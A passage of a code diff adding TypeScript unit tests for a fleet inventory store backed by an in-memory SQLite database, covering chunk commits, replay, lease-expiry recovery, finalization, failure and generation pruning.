+      const batches = db.batchCalls;
+      const result = await lease
+        .commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: committed(started, rows, facts),
+          rows,
+          facts,
+        })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(db.batchCalls).toBe(batches);
+      expect(result).toBeInstanceOf(FleetInventoryStateError);
+      expect(result).toMatchObject({
+        name: 'FleetInventoryStateError',
+        message: 'fleet inventory state is malformed',
+      });
+    });
+  });
+
+  it.each([
+    'foreign account',
+    'generation',
+    'options',
+    'missing run',
+  ] as const)('refuses the wrong target: %s', async (target) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const started = await store.withAccountInventoryLease((lease) =>
+      start(lease),
+    );
+    const writer =
+      target === 'foreign account' ? newStore(db, 'account-secondary') : store;
+    await writer.withAccountInventoryLease(async (lease) => {
+      if (target === 'foreign account') await start(lease, SECOND_OPERATION_ID);
+      let intended = committed(started, DEFAULT_ROWS, DEFAULT_FACTS);
+      if (target === 'generation')
+        intended = {
+          ...intended,
+          progress: { ...intended.progress, generation: 99 },
+        };
+      if (target === 'options')
+        intended = {
+          ...intended,
+          options: OTHER_OPTIONS,
+          optionsDigest: OTHER_DIGEST,
+        };
+      if (target === 'missing run')
+        intended = { ...intended, operationId: THIRD_OPERATION_ID };
+      const before = inventoryState(db);
+      const result = await lease
+        .commitChunk({
+          operationId: intended.operationId,
+          expectedRevision: 0,
+          runRecord: intended,
+          rows: DEFAULT_ROWS,
+          facts: DEFAULT_FACTS,
+        })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toEqual(
+        new Error(
+          target === 'foreign account' || target === 'missing run'
+            ? `no fleet inventory run for operation '${intended.operationId}'`
+            : `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`,
+        ),
+      );
+    });
+  });
+
+  it.each([
+    'ordinary',
+    'hidden results',
+    'lost response',
+  ] as const)('accepts exact restaging and replay with %s', async (response) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const lost = new Error('lost inventory response');
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      };
+      if (response === 'hidden results') db.hideBatchResults = true;
+      if (response === 'lost response')
+        db.afterBatch = () => {
+          throw lost;
+        };
+      const result = await lease
+        .commitChunk(input)
+        .catch((error: unknown) => error);
+      expect(await store.readRunByOperation(OPERATION_ID)).toEqual(
+        input.runRecord,
+      );
+      expect(result).toEqual(
+        response === 'lost response' ? lost : input.runRecord,
+      );
+      const before = inventoryState(db);
+      expect(await lease.commitChunk(input)).toEqual(input.runRecord);
+      expect(inventoryState(db)).toEqual(before);
+      const next = committed(input.runRecord, DEFAULT_ROWS, DEFAULT_FACTS);
+      expect(
+        await lease.commitChunk({
+          ...input,
+          expectedRevision: 1,
+          runRecord: next,
+        }),
+      ).toEqual(next);
+      expect(
+        db.sqlite
+          .prepare(
+            'SELECT payload FROM anchorage_fleet_inventory_rows ORDER BY rowid',
+          )
+          .all(),
+      ).toEqual(
+        DEFAULT_ROWS.map((row) => ({ payload: JSON.stringify(row.payload) })),
+      );
+      expect(
+        db.sqlite
+          .prepare(
+            'SELECT payload FROM anchorage_fleet_inventory_deployment_facts ORDER BY rowid',
+          )
+          .all(),
+      ).toEqual(
+        DEFAULT_FACTS.map((fact) => ({
+          payload: JSON.stringify(fact.payload),
+        })),
+      );
+    });
+  });
+
+  it('captures validated input before awaiting the batch', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const input = structuredClone({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      });
+      const intended = structuredClone(input.runRecord);
+      db.hideBatchResults = true;
+      db.afterBatch = () => {
+        Object.assign(input.runRecord.progress, { generation: 99 });
+        Object.assign(input.rows[0]?.payload ?? {}, { scriptName: 'changed' });
+        Object.assign(input.facts[0]?.payload ?? {}, { name: 'changed' });
+      };
+      const result = await lease.commitChunk(input);
+      expect(await store.readRunByOperation(OPERATION_ID)).toEqual(intended);
+      expect(result).toEqual(intended);
+    });
+  });
+
+  it.each([
+    'row',
+    'fact',
+  ] as const)('does not converge with a missing or divergent %s payload', async (kind) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      };
+      await lease.commitChunk(input);
+      const table =
+        kind === 'row'
+          ? 'anchorage_fleet_inventory_rows'
+          : 'anchorage_fleet_inventory_deployment_facts';
+      db.sqlite
+        .prepare(`UPDATE ${table} SET payload = ? WHERE rowid = 1`)
+        .all('{"different":true}');
+      let before = inventoryState(db);
+      let result = await lease
+        .commitChunk(input)
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toEqual(
+        new Error(
+          `fleet inventory run '${OPERATION_ID}' staged rows diverge from the persisted generation`,
+        ),
+      );
+      db.sqlite.prepare(`DELETE FROM ${table} WHERE rowid = 1`).all();
+      before = inventoryState(db);
+      result = await lease.commitChunk(input).catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toEqual(
+        new Error(
+          `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`,
+        ),
+      );
+    });
+  });
+});
+
+describe('inventory lifecycle physical identity', () => {
+  it.each([
+    'operation',
+    'generation',
+    'options',
+  ] as const)('refuses reads of inconsistent physical %s metadata', async (field) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    const record = await store.readRunByOperation(OPERATION_ID);
+    if (!record) throw new Error('missing fixture run');
+    const corrupt =
+      field === 'operation'
+        ? { ...record, operationId: SECOND_OPERATION_ID }
+        : field === 'generation'
+          ? { ...record, progress: { ...record.progress, generation: 99 } }
+          : { ...record, options: OTHER_OPTIONS, optionsDigest: OTHER_DIGEST };
+    db.sqlite
+      .prepare(
+        'UPDATE anchorage_fleet_inventory_runs SET run_record = ? WHERE operation_id = ?',
+      )
+      .all(JSON.stringify(corrupt), OPERATION_ID);
+    const before = inventoryState(db);
+    const results = await Promise.all([
+      store.readRunByOperation(OPERATION_ID).catch((error: unknown) => error),
+      store.latestFinalizedGeneration().catch((error: unknown) => error),
+      store.readFinalizedGeneration(1).catch((error: unknown) => error),
+      store
+        .pinGeneration({ generation: 1, pinnedBy: 'reader' })
+        .catch((error: unknown) => error),
+    ]);
+    expect(inventoryState(db)).toEqual(before);
+    for (const result of results)
+      expect(result).toEqual(
+        new Error('fleet inventory generation 1 is corrupt'),
+      );
+  });
+
+  it.each([
+    { method: 'finalize', field: 'account_id', value: 'account-secondary' },
+    { method: 'finalize', field: 'generation', value: 99 },
+    { method: 'finalize', field: 'options_digest', value: OTHER_DIGEST },
+    { method: 'fail', field: 'account_id', value: 'account-secondary' },
+    { method: 'fail', field: 'generation', value: 99 },
+    { method: 'fail', field: 'options_digest', value: OTHER_DIGEST },
+  ])('does not $method a run whose physical $field changes after the read', async ({
+    method,
+    field,
+    value,
+  }) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      let before: unknown;
+      db.beforeBatch = () => {
+        db.sqlite
+          .prepare(
+            `UPDATE anchorage_fleet_inventory_runs SET ${field} = ? WHERE operation_id = ?`,
+          )
+          .all(value, OPERATION_ID);
+        before = inventoryState(db);
+      };
+      const operation =
+        method === 'finalize'
+          ? lease.finalizeRun({
+              operationId: OPERATION_ID,
+              expectedRevision: 0,
+              manifest: started.progress.stagedCounts,
+              factCount: 0,
+            })
+          : lease.failRun({
+              operationId: OPERATION_ID,
+              expectedRevision: 0,
+              reason: 'operator-abandoned',
+            });
+      const result = await operation.catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toBeInstanceOf(Error);
+    });
+  });
+
+  it('does not rewind the latest generation or clear a newer active run on finalize replay', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    await seedGeneration(store, SECOND_OPERATION_ID);
+    await store.withAccountInventoryLease(async (lease) => {
+      await start(lease, THIRD_OPERATION_ID);
+      const before = inventoryState(db);
+      const ref = await lease.finalizeRun({
+        operationId: OPERATION_ID,
+        expectedRevision: 1,
+        manifest: countsOf(DEFAULT_ROWS),
+        factCount: DEFAULT_FACTS.length,
+      });
+      expect(inventoryState(db)).toEqual(before);
+      expect(ref.generation).toBe(1);
+    });
+  });
+});
+
+describe('inventory lifecycle replay selection', () => {
+  it('repairs failure replay after lease expiry between the failed run and head clear', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const staged = await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      return lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      });
+    });
+    const input = {
+      operationId: OPERATION_ID,
+      expectedRevision: staged.progress.revision,
+      reason: 'operator-abandoned',
+    } as const;
+    db.beforeStatement = (index) => {
+      if (index === 1)
+        db.sqlite
+          .prepare('UPDATE anchorage_fleet_inventory_leases SET expires_at = 0')
+          .all();
+    };
+    const interrupted = await store
+      .withAccountInventoryLease((lease) => lease.failRun(input))
+      .catch((error: unknown) => error);
+    expect(await store.readRunByOperation(OPERATION_ID)).toEqual({
+      ...staged,
+      state: 'failed',
+    });
+    expect(
+      db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(),
+    ).toEqual([
+      {
+        account_id: 'account-primary',
+        active_operation_id: OPERATION_ID,
+        latest_finalized_generation: null,
+        next_generation: 2,
+      },
+    ]);
+    expect(interrupted).toEqual(
+      new Error(
+        "fleet inventory for account 'account-primary' lease is no longer owned by this operation",
+      ),
+    );
+
+    const beforeRepair = inventoryState(db);
+    const stale = await store
+      .withAccountInventoryLease((lease) =>
+        lease.failRun({ ...input, expectedRevision: 0 }),
+      )
+      .catch((error: unknown) => error);
+    expect(inventoryState(db)).toEqual(beforeRepair);
+    expect(stale).toEqual(
+      new Error(
+        `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`,
+      ),
+    );
+    await store.withAccountInventoryLease((lease) => lease.failRun(input));
+    expect(
+      db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(),
+    ).toEqual([
+      {
+        account_id: 'account-primary',
+        active_operation_id: null,
+        latest_finalized_generation: null,
+        next_generation: 2,
+      },
+    ]);
+    expect(await store.readRunByOperation(OPERATION_ID)).toEqual({
+      ...staged,
+      state: 'failed',
+    });
+    expect(await seedGeneration(store, SECOND_OPERATION_ID)).toBe(2);
+    await store.withAccountInventoryLease(async (lease) => {
+      expect((await start(lease, THIRD_OPERATION_ID)).progress.generation).toBe(
+        3,
+      );
+      const beforeReplay = inventoryState(db);
+      await lease.failRun(input);
+      expect(inventoryState(db)).toEqual(beforeReplay);
+    });
+  });
+
+  it.each([
+    'original',
+    'stale',
+    'fallback',
+    'start',
+  ] as const)('repairs coordinator finalization interrupted by lease expiry through the %s retry path', async (retry) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const advanceStage = vi.fn<FleetInventoryProviderContext['advanceStage']>(
+      async () => ({
+        rows: [],
+        facts: [],
+        nextStage: { step: 'finalize' },
+        providerRequests: 0,
+        diagnostics: [],
+      }),
+    );
+    const options = {
+      context: { advanceStage },
+      store,
+      maxProviderRequests: 9,
+    };
+    const startAction = {
+      kind: 'start',
+      operationId: OPERATION_ID,
+      options: OPTIONS,
+    } as const;
+    const pending = await advanceFleetInventory({
+      ...options,
+      action: startAction,
+    });
+    expect(pending.status).toBe('pending');
+    const staged = await store.readRunByOperation(OPERATION_ID);
+    db.beforeStatement = (index) => {
+      if (index === 1)
+        db.sqlite
+          .prepare('UPDATE anchorage_fleet_inventory_leases SET expires_at = 0')
+          .all();
+    };
+    const interrupted = await advanceFleetInventory({
+      ...options,
+      action: { kind: 'continue', token: pending.token },
+    }).catch((error: unknown) => error);
+    const finalized = { ...staged, state: 'finalized' };
+    expect(await store.readRunByOperation(OPERATION_ID)).toEqual(finalized);
+    expect(
+      db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(),
+    ).toEqual([
+      {
+        account_id: 'account-primary',
+        active_operation_id: OPERATION_ID,
+        latest_finalized_generation: null,
+        next_generation: 2,
+      },
+    ]);
+    expect(interrupted).toEqual(
+      new Error(
+        "fleet inventory for account 'account-primary' lease is no longer owned by this operation",
+      ),
+    );
+    if (retry === 'fallback') {
+      const withLease = store.withAccountInventoryLease.bind(store);
+      vi.spyOn(store, 'withAccountInventoryLease').mockImplementation(
+        (operation) =>
+          withLease((lease) =>
+            operation({ ...lease, readRun: async () => undefined }),
+          ),
+      );
+    }
+    const action =
+      retry === 'start'
+        ? startAction
+        : ({
+            kind: 'continue',
+            token: {
+              ...pending.token,
+              revision: retry === 'stale' ? 0 : pending.token.revision,
+            },
+          } as const);
+    const repaired = await advanceFleetInventory({ ...options, action }).catch(
+      (error: unknown) => error,
+    );
+    expect(
+      db.sqlite.prepare('SELECT * FROM anchorage_fleet_inventory_heads').all(),
+    ).toEqual([
+      {
+        account_id: 'account-primary',
+        active_operation_id: null,
+        latest_finalized_generation: 1,
+        next_generation: 2,
+      },
+    ]);
+    expect(await store.readRunByOperation(OPERATION_ID)).toEqual(finalized);
+    const first = (await store.readFinalizedGeneration(1)).ref;
+    expect(repaired).toEqual({
+      status: 'complete',
+      token: pending.token,
+      generation: first,
+    });
+    expect(advanceStage).toHaveBeenCalledTimes(1);
+
+    expect(await seedGeneration(store, SECOND_OPERATION_ID)).toBe(2);
+    await store.withAccountInventoryLease((lease) =>
+      start(lease, THIRD_OPERATION_ID),
+    );
+    const beforeUnpinned = inventoryState(db);
+    const unpinned = await advanceFleetInventory({ ...options, action }).catch(
+      (error: unknown) => error,
+    );
+    expect(inventoryState(db)).toEqual(beforeUnpinned);
+    expect(unpinned).toEqual(
+      new Error(
+        'fleet inventory generation 1 requires a pin before it can be read',
+      ),
+    );
+    await store.pinGeneration({ generation: 1, pinnedBy: 'historical-reader' });
+    const beforePinned = inventoryState(db);
+    const pinned = await advanceFleetInventory({ ...options, action });
+    expect(inventoryState(db)).toEqual(beforePinned);
+    expect(pinned).toEqual(repaired);
+    expect(advanceStage).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    'revision',
+    'row manifest',
+    'fact manifest',
+  ] as const)('refuses a finalized replay with a different %s', async (field) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    const before = inventoryState(db);
+    const result = await store
+      .withAccountInventoryLease((lease) =>
+        lease.finalizeRun({
+          operationId: OPERATION_ID,
+          expectedRevision: field === 'revision' ? 0 : 1,
+          manifest:
+            field === 'row manifest'
+              ? emptyFleetInventoryRowCounts()
+              : countsOf(DEFAULT_ROWS),
+          factCount: field === 'fact manifest' ? 0 : DEFAULT_FACTS.length,
+        }),
+      )
+      .catch((error: unknown) => error);
+    expect(inventoryState(db)).toEqual(before);
+    expect(result).toEqual(
+      new Error(
+        field === 'revision'
+          ? `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`
+          : `fleet inventory run '${OPERATION_ID}' finalize manifest disagrees with the persisted run record`,
+      ),
+    );
+  });
+
+  it('accepts exact failure replay and refuses a different expected revision', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      await lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      });
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 1,
+        reason: 'operator-abandoned',
+      } as const;
+      await lease.failRun(input);
+      const before = inventoryState(db);
+      await lease.failRun(input);
+      expect(inventoryState(db)).toEqual(before);
+      const result = await lease
+        .failRun({ ...input, expectedRevision: 0 })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toEqual(
+        new Error(
+          `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`,
+        ),
+      );
+    });
+  });
+});
+
+describe('inventory chunk storage boundaries', () => {
+  it('propagates a database failure without changing durable state', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const before = inventoryState(db);
+      const unavailable = new Error('database unavailable');
+      db.beforeBatch = () => {
+        throw unavailable;
+      };
+      const result = await lease
+        .commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+          rows: DEFAULT_ROWS,
+          facts: DEFAULT_FACTS,
+        })
+        .catch((error: unknown) => error);
+      expect(inventoryState(db)).toEqual(before);
+      expect(result).toBe(unavailable);
+    });
+  });
+
+  it('retains earlier inserts when the lease expires before progress and permits exact recovery', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const expiry = db.sqlite
+        .prepare('SELECT expires_at FROM anchorage_fleet_inventory_leases')
+        .all()[0]?.expires_at;
+      db.beforeStatement = (index) => {
+        if (index === 1)
+          db.sqlite
+            .prepare(
+              'UPDATE anchorage_fleet_inventory_leases SET expires_at = 0',
+            )
+            .all();
+      };
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      };
+      const result = await lease
+        .commitChunk(input)
+        .catch((error: unknown) => error);
+      db.sqlite
+        .prepare('UPDATE anchorage_fleet_inventory_leases SET expires_at = ?')
+        .all(expiry);
+      expect(await store.readRunByOperation(OPERATION_ID)).toEqual(started);
+      expect(
+        db.sqlite
+          .prepare(
+            'SELECT kind, ordinal, payload FROM anchorage_fleet_inventory_rows',
+          )
+          .all(),
+      ).toEqual([
+        {
+          kind: 'registration',
+          ordinal: 0,
+          payload: JSON.stringify(DEFAULT_ROWS[0]?.payload),
+        },
+      ]);
+      expect(
+        db.sqlite
+          .prepare('SELECT * FROM anchorage_fleet_inventory_deployment_facts')
+          .all(),
+      ).toEqual([]);
+      expect(result).toEqual(
+        new Error(
+          `fleet inventory run '${OPERATION_ID}' is no longer at the expected revision`,
+        ),
+      );
+      expect(await lease.commitChunk(input)).toEqual(input.runRecord);
+      expect(
+        await lease.finalizeRun({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          manifest: input.runRecord.progress.stagedCounts,
+          factCount: input.runRecord.progress.factCount,
+        }),
+      ).toMatchObject({ generation: 1 });
+    });
+  });
+
+  it('commits and replays a 2000-entry mixed chunk without combining payloads', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    const rows = Array.from({ length: 1000 }, (_, ordinal) =>
+      stagedRow('meta', ordinal, { name: `row-${ordinal}` }),
+    );
+    const facts = Array.from({ length: 1000 }, (_, ordinal) =>
+      stagedFact(ordinal, 0),
+    );
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      const input = {
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, rows, facts),
+        rows,
+        facts,
+      };
+      db.hideBatchResults = true;
+      expect(await lease.commitChunk(input)).toEqual(input.runRecord);
+      expect(await lease.commitChunk(input)).toEqual(input.runRecord);
+      expect(
+        await lease.finalizeRun({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          manifest: input.runRecord.progress.stagedCounts,
+          factCount: facts.length,
+        }),
+      ).toMatchObject({ generation: 1 });
+    });
+    const generation = await store.readFinalizedGeneration(1);
+    expect(generation.rows).toEqual(rows);
+    expect(generation.facts).toEqual(facts);
+  });
+});
+
+describe('inventory target recovery controls', () => {
+  it('isolates equal row and fact ordinals in different accounts and generations', async () => {
+    const db = new MemoryD1();
+    const primary = newStore(db);
+    const secondary = newStore(db, 'account-secondary');
+    const first = await seedGeneration(primary);
+    const differentRows = [
+      stagedRow('registration', 0, { scriptName: 'different' }),
+    ];
+    const differentFacts = [
+      { ...stagedFact(0, 0), payload: { name: 'different' } },
+    ];
+    const foreign = await seedGeneration(
+      secondary,
+      SECOND_OPERATION_ID,
+      differentRows,
+      differentFacts,
+    );
+    const next = await seedGeneration(
+      primary,
+      THIRD_OPERATION_ID,
+      differentRows,
+      differentFacts,
+    );
+    await primary.pinGeneration({ generation: first, pinnedBy: 'reader' });
+    expect((await primary.readFinalizedGeneration(first)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+    expect((await primary.readFinalizedGeneration(first)).facts).toEqual(
+      DEFAULT_FACTS,
+    );
+    expect((await secondary.readFinalizedGeneration(foreign)).rows).toEqual(
+      differentRows,
+    );
+    expect((await secondary.readFinalizedGeneration(foreign)).facts).toEqual(
+      differentFacts,
+    );
+    expect((await primary.readFinalizedGeneration(next)).rows).toEqual(
+      differentRows,
+    );
+    expect((await primary.readFinalizedGeneration(next)).facts).toEqual(
+      differentFacts,
+    );
+  });
+
+  it('repairs an interrupted finalize head for the same operation', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await seedGeneration(store);
+    db.sqlite
+      .prepare(
+        'UPDATE anchorage_fleet_inventory_heads SET latest_finalized_generation = NULL, active_operation_id = ?',
+      )
+      .all(OPERATION_ID);
+    const record = await store.readRunByOperation(OPERATION_ID);
+    const ref = await store.withAccountInventoryLease((lease) =>
+      lease.finalizeRun({
+        operationId: OPERATION_ID,
+        expectedRevision: 1,
+        manifest: countsOf(DEFAULT_ROWS),
+        factCount: DEFAULT_FACTS.length,
+      }),
+    );
+    expect(await store.readRunByOperation(OPERATION_ID)).toEqual(record);
+    expect(await store.latestFinalizedGeneration()).toEqual(ref);
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT active_operation_id FROM anchorage_fleet_inventory_heads',
+        )
+        .all(),
+    ).toEqual([{ active_operation_id: null }]);
+  });
+});
+
+describe('inventory start input integrity', () => {
+  it.each([
+    'absent',
+    'finalized',
+  ] as const)('rolls back a cross-account start operation-ID collision when the loser head is %s', async (head) => {
+    const db = new MemoryD1();
+    const primary = newStore(db);
+    const secondary = newStore(db, 'account-secondary');
+    await primary.withAccountInventoryLease((lease) => start(lease));
+    if (head === 'finalized')
+      await seedGeneration(secondary, SECOND_OPERATION_ID);
+    const before = inventoryState(db);
+    const collision = await secondary
+      .withAccountInventoryLease((lease) => start(lease))
+      .catch((error: unknown) => error);
+    expect(inventoryState(db)).toEqual(before);
+    expect(await secondary.readRunByOperation(OPERATION_ID)).toBeUndefined();
+    expect(collision).toBeInstanceOf(Error);
+    expect((collision as Error).message).toMatch(/UNIQUE constraint failed/);
+    const fresh = await secondary.withAccountInventoryLease((lease) =>
+      start(lease, THIRD_OPERATION_ID),
+    );
+    expect(fresh.progress.generation).toBe(head === 'finalized' ? 2 : 1);
+    expect(await secondary.readRunByOperation(THIRD_OPERATION_ID)).toEqual(
+      fresh,
+    );
+  });
+
+  it('rolls back the loser of concurrent cross-account starts with the same operation ID', async () => {
+    const db = new MemoryD1();
+    const stores = [newStore(db), newStore(db, 'account-secondary')];
+    await Promise.all(stores.map((store) => store.latestFinalizedGeneration()));
+    const results = await Promise.allSettled(
+      stores.map((store) =>
+        store.withAccountInventoryLease((lease) => start(lease)),
+      ),
+    );
+    const loserIndex = results.findIndex(
+      (result) => result.status === 'rejected',
+    );
+    const loser = stores[loserIndex];
+    if (!loser) throw new Error('concurrent starts did not select a loser');
+    const loserAccount =
+      loserIndex === 0 ? 'account-primary' : 'account-secondary';
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT * FROM anchorage_fleet_inventory_heads WHERE account_id = ?',
+        )
+        .all(loserAccount),
+    ).toEqual([]);
+    expect(await loser.readRunByOperation(OPERATION_ID)).toBeUndefined();
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT account_id, generation FROM anchorage_fleet_inventory_runs',
+        )
+        .all(),
+    ).toEqual([
+      {
+        account_id: loserIndex === 0 ? 'account-secondary' : 'account-primary',
+        generation: 1,
+      },
+    ]);
+    expect(
+      results.filter((result) => result.status === 'fulfilled'),
+    ).toHaveLength(1);
+    const collision = results[loserIndex];
+    expect(collision).toMatchObject({
+      status: 'rejected',
+      reason: expect.any(Error),
+    });
+    if (collision?.status !== 'rejected')
+      throw new Error('collision unexpectedly resolved');
+    expect((collision.reason as Error).message).toMatch(
+      /UNIQUE constraint failed/,
+    );
+    const fresh = await loser.withAccountInventoryLease((lease) =>
+      start(lease, SECOND_OPERATION_ID),
+    );
+    expect(fresh.progress.generation).toBe(1);
+    expect(await loser.readRunByOperation(SECOND_OPERATION_ID)).toEqual(fresh);
+  });
+
+  it.each([
+    {
+      label: 'operation id',
+      operationId: 'not-an-operation-id',
+      optionsDigest: DIGEST,
+    },
+    {
+      label: 'options digest',
+      operationId: OPERATION_ID,
+      optionsDigest: OTHER_DIGEST,
+    },
+  ])('refuses invalid $label before persisting a run or claiming its head', async ({
+    operationId,
+    optionsDigest,
+  }) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const before = inventoryState(db);
+      let caught: unknown;
+      try {
+        await lease.startRun({ operationId, options: OPTIONS, optionsDigest });
+      } catch (error) {
+        caught = error;
+      }
+      expect(inventoryState(db)).toEqual(before);
+      expect(caught).toBeInstanceOf(FleetInventoryStateError);
+    });
+  });
+});
+
+describe('inventory pruning preserves terminal recovery', () => {
+  it.each([
+    'failed',
+    'finalized',
+  ] as const)('retains an active %s generation until exact head repair', async (terminal) => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    let staged: FleetInventoryRunRecord | undefined;
+    const interrupted = await store
+      .withAccountInventoryLease(async (lease) => {
+        const started = await start(lease);
+        staged = await lease.commitChunk({
+          operationId: OPERATION_ID,
+          expectedRevision: 0,
+          runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+          rows: DEFAULT_ROWS,
+          facts: DEFAULT_FACTS,
+        });
+        db.beforeStatement = (index) => {
+          if (index === 1)
+            db.sqlite
+              .prepare(
+                'UPDATE anchorage_fleet_inventory_leases SET expires_at = 0',
+              )
+              .all();
+        };
+        if (terminal === 'failed')
+          await lease.failRun({
+            operationId: OPERATION_ID,
+            expectedRevision: 1,
+            reason: 'operator-abandoned',
+          });
+        else
+          await lease.finalizeRun({
+            operationId: OPERATION_ID,
+            expectedRevision: 1,
+            manifest: staged.progress.stagedCounts,
+            factCount: staged.progress.factCount,
+          });
+      })
+      .catch((error: unknown) => error);
+    expect(interrupted).toBeInstanceOf(Error);
+    expect((await store.readRunByOperation(OPERATION_ID))?.state).toBe(
+      terminal,
+    );
+    const before = inventoryState(db);
+    const pruned = await store.pruneInventoryGenerations({ limit: 1 });
+    expect(inventoryState(db)).toEqual(before);
+    expect(pruned).toEqual({ deleted: 0 });
+    const intended = staged;
+    if (!intended) throw new Error('inventory fixture did not stage its rows');
+    await store.withAccountInventoryLease(async (lease) => {
+      if (terminal === 'failed')
+        await lease.failRun({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          reason: 'operator-abandoned',
+        });
+      else
+        await lease.finalizeRun({
+          operationId: OPERATION_ID,
+          expectedRevision: 1,
+          manifest: intended.progress.stagedCounts,
+          factCount: intended.progress.factCount,
+        });
+    });
+    expect(await seedGeneration(store, SECOND_OPERATION_ID)).toBe(2);
+    await store.withAccountInventoryLease((lease) =>
+      start(lease, THIRD_OPERATION_ID),
+    );
+    expect(await store.pruneInventoryGenerations({ limit: 1 })).toEqual({
+      deleted: 1,
+    });
+    expect(await store.readRunByOperation(OPERATION_ID)).toBeUndefined();
+    expect((await store.readFinalizedGeneration(2)).rows).toEqual(
+      DEFAULT_ROWS_READ_ORDER,
+    );
+    expect(
+      db.sqlite
+        .prepare(
+          'SELECT active_operation_id, latest_finalized_generation, next_generation FROM anchorage_fleet_inventory_heads',
+        )
+        .all(),
+    ).toEqual([
+      {
+        active_operation_id: THIRD_OPERATION_ID,
+        latest_finalized_generation: 2,
+        next_generation: 4,
+      },
+    ]);
+  });
+
+  it('rechecks active ownership in the row, fact and run delete batch', async () => {
+    const db = new MemoryD1();
+    const store = newStore(db);
+    await store.withAccountInventoryLease(async (lease) => {
+      const started = await start(lease);
+      await lease.commitChunk({
+        operationId: OPERATION_ID,
+        expectedRevision: 0,
+        runRecord: committed(started, DEFAULT_ROWS, DEFAULT_FACTS),
+        rows: DEFAULT_ROWS,
+        facts: DEFAULT_FACTS,
+      });
+      await lease.failRun({
+        operationId: OPERATION_ID,
+        expectedRevision: 1,
+        reason: 'operator-abandoned',
+      });
+    });
+    let promoted: unknown;
+    db.beforeBatch = () => {
+      db.sqlite
+        .prepare(
+          'UPDATE anchorage_fleet_inventory_heads SET active_operation_id = ?',
+        )
+        .all(OPERATION_ID);
+      promoted = inventoryState(db);
+    };
